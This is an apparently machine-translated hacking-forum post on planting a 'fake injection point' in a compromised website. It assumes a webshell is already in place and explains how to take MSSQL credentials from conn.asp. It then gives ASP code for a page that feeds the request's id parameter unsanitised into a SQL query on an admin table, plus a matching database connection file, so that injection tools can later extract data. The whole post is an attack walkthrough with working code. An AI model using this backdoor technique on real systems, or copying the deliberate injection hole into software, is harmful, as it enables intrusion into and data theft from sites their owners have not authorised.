Today, I saw someone asking me to write a fake injection point in the rootkit forum, so that I can easily penetrate and find more available information.
I have been taking the test for the past two days. If I think about it, I will try again first. If you have any questions, let's discuss it together!
First, you need to get a webshell. In this way, most of the files that connect to the database are conn. asp, which contains mssql users and
Password. You need to find the username, password, and IP address of the database, and connect to the database. As for the connection, you should find the table of the website administrator.
Because I used an administrator table during the test, my friend said that any table name is acceptable. As long as the table exists, the Code is as follows:
Program code
<! -- # Include file = "xx. asp" -->
<%
Set rs = server. createobject ("ADODB. recordset ")
Id = request ("id ")
StrSQL = "select * from admin where id =" & id
Rs. open strSQL, conn, 1, 3
Rs. close
%>
Replace the admin in strSQL = "select * from admin where id =" & id with the table name to be forged.
You can connect to it and check the table name! Here we assume that admin is the table name! Save the file name as needed!
Then we need to construct a file to connect to the database. The Code is as follows:
Program code
<%
StrSQLServerName = "000.000.000.000" server name or address
StrSQLDBUserName = "sqlname" database account
StrSQLDBPassword = "sqlpass" Database Password
StrSQLDBName = "sqldataname" Database Name
Set conn = Server. CreateObject ("ADODB. Connection ")
StrCon = "Provider = SQLOLEDB.1; Persist Security Info = False; Server =" & strSQLServerName & "; User ID =" & strSQLDBUserName & "; Password =" & strSQLDBPassword &"; database = "& strSQLDBName &";"
Conn. open strCon
%>
It should all be done here, so it won't be too long, but note that the saved file name should be the same as the name called by include .. Still,
In this case, under normal circumstances, it will be OK, And the forgery will be successful ......